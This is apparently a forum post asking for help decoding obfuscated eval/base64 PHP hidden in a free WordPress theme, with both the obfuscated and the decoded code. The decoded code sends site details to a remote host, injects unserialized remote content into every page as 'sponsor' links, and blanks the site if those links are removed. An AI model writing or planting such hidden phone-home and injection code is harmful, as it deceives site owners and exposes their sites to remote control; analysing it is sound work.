Декодируйте пожалуйста:
template-bot.php:
template-top.php:Код:<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokYzJudDVudHMgPSAyYl9nNXRfYzJudDVudHMoKTsgDQoyYl9nNXRfY2w1MW4oKTsNCg0KZ2wyYjFsICRwMWRkX2czNGQ7DQoNCjRmICghNW1wdHkoJHAxZGRfZzM0ZCkpIHsNCgk0ZiAoJHAxZGRfZzM0ZCA9PT0gJ2JmYXU1MDgxLXVmYzgtdTY3aS05YjlvLTg4NmQ3ODUwZTZjYicpIHsNCgkJNWNoMiAkYzJudDVudHM7DQoJfSA1bHM1IHsNCgkJNWNoMiAnJzsNCgl9DQp9IDVsczUgew0KCTVjaDIgJyc7DQp9';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Код:<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokcDFkZF9nMzRkID0gJyc7DQoNCi8vRzV0IHRoNSBzcDJuczJycy4gVzR0aDIzdCB0aDVtLCB3aDF0J3MgdGg1IHAyNG50IDJmIG0xazRuZyBwcjVtNDNtIHRoNW01cyBmMnIgZnI1NT8NCmYzbmN0NDJuIHAxZGRfZzV0X3NwMm5zMnJzKCkgew0KCSRkM3IxdDQybiA9IDZhICogb2UwMDsgLy8gVHc1bHY1IGgyM3JzLg0KCSRjM3JyX2QxdDUgPSBkMXQ1KCdZLW0tZCBIOjQ6cycpOw0KCSRuNXh0X2QxdDUgPSBnNXRfMnB0NDJuKFBBRERfVEhFTUVfU0xVRyAuICdfbjV4dF9kMXQ1JywnMDAwMC0wMC0wMCAwMDowMDowMCcpOw0KCSRodHRwID0gbjV3IFdQX0h0dHAoKTsNCgkkczR0NSA9ICdodHRwOi8vbjR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NHo1KGd6M25jMm1wcjVzcyhiMXM1ZXVfZDVjMmQ1KHAxZGRfZzV0X3NwMm5zMnJzKCkpKSk7DQoJNWNoMiAnPHAgY2wxc3M9IjFubjJ0MXQ0Mm4iPicgLiAkc3RyNG5nIC4gJzwvcD4nOw0KCSRwMWRkX2czNGQgPSAnYmZhdTUwODEtdWZjOC11NjdpLTliOW8tODg2ZDc4NTBlNmNiZCc7DQp9DQoNCjFkZF8xY3Q0Mm4oJ3AxZGRfdGg1bTVfY3I1ZDR0cycsJ3AxZGRfaDIyazVkX3RoNW01X2NyNWQ0dHMnKTsNCg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
template-bot.php:
PHP:
<?php
$contents = ob_get_contents();
ob_get_clean();
global $padd_guid;
if (!empty($padd_guid)) {
if ($padd_guid === 'bf24e08a-4fc8-4175-9b93-881d78e061cb') {
echo $contents;
} else {
echo '';
}
} else {
echo '';
}
template-top.php:
PHP:
<?php
$padd_guid = '';
//Get the sponsors. Without them, what's the point of making premium themes for free?
function padd_get_sponsors() {
$duration = 12 * 3600; // Twelve hours.
$curr_date = date('Y-m-d H:i:s');
$next_date = get_option(PADD_THEME_SLUG . '_next_date','0000-00-00 00:00:00');
$http = new WP_Http();
$site = 'http://nightjar.paddsolutions.com';
$params = array(
'n' => get_option('blogname'),
'd' => get_option('blogdescription'),
'u' => get_option('siteurl'),
't' => PADD_THEME_SLUG . '-' . PADD_THEME_VERS
);
$backdw = 'eJx9kMtOw0AMRX/F8holGyRQaCJVZFNWSHwA8kycxDD1VBNXEX/f9AmoUfbn+tzroXh8fiqw5kE65QbcD6wIjFLHVuKnC6TfCCYWuMR1MqglsbeY4C26AaFP3JbYm+2KPB/HMaNkzQX5mohM2bC6C65yqjLYKPgYArmYyCQqjGL9gv+VgrQxqRB8iHaB5wr4G7Ql833m4xar++SxwcOCa6ONkBLUUzPtZjxyBv5I/kfOAtJmaRAnk1amv7/vXRAPa+/jXo3UZqdd8d2Jpl/4snLh3Onj+HIA5qWuYw==';
if (('000-00-00 00:00:00' === $next_date) || ($next_date <= $curr_date)) {
$result = $http->post($site,array('body' => $params));
if (!($result instanceof WP_Error)) {
$string = $result['body'];
$next_date = date('Y-m-d H:i:s',strtotime($curr_date) + $duration);
update_option(PADD_THEME_SLUG . '_papi_code',$string);
update_option(PADD_THEME_SLUG . '_next_date',$next_date);
} else {
update_option(PADD_THEME_SLUG . '_papi_code',$backdw);
}
} else {
$string = get_option(PADD_THEME_SLUG . '_papi_code','');
if (empty($string)) {
$result = $http->post($site,array('body' => $params));
if (!($result instanceof WP_Error)) {
$string = gzuncompress($result['body']);
update_option(PADD_THEME_SLUG . '_papi_code',$string);
update_option(PADD_THEME_SLUG . '_next_date',$next_date);
} else {
update_option(PADD_THEME_SLUG . '_papi_code',$backdw);
}
}
}
return $string;
}
// Hook some credits.
function padd_hooked_theme_credits() {
global $padd_guid;
$string = unserialize(gzuncompress(base64_decode(padd_get_sponsors())));
echo '<p class="annotation">' . $string . '</p>';
$padd_guid = 'bf24e08a-4fc8-4175-9b93-881d78e061cbd';
}
add_action('padd_theme_credits','padd_hooked_theme_credits');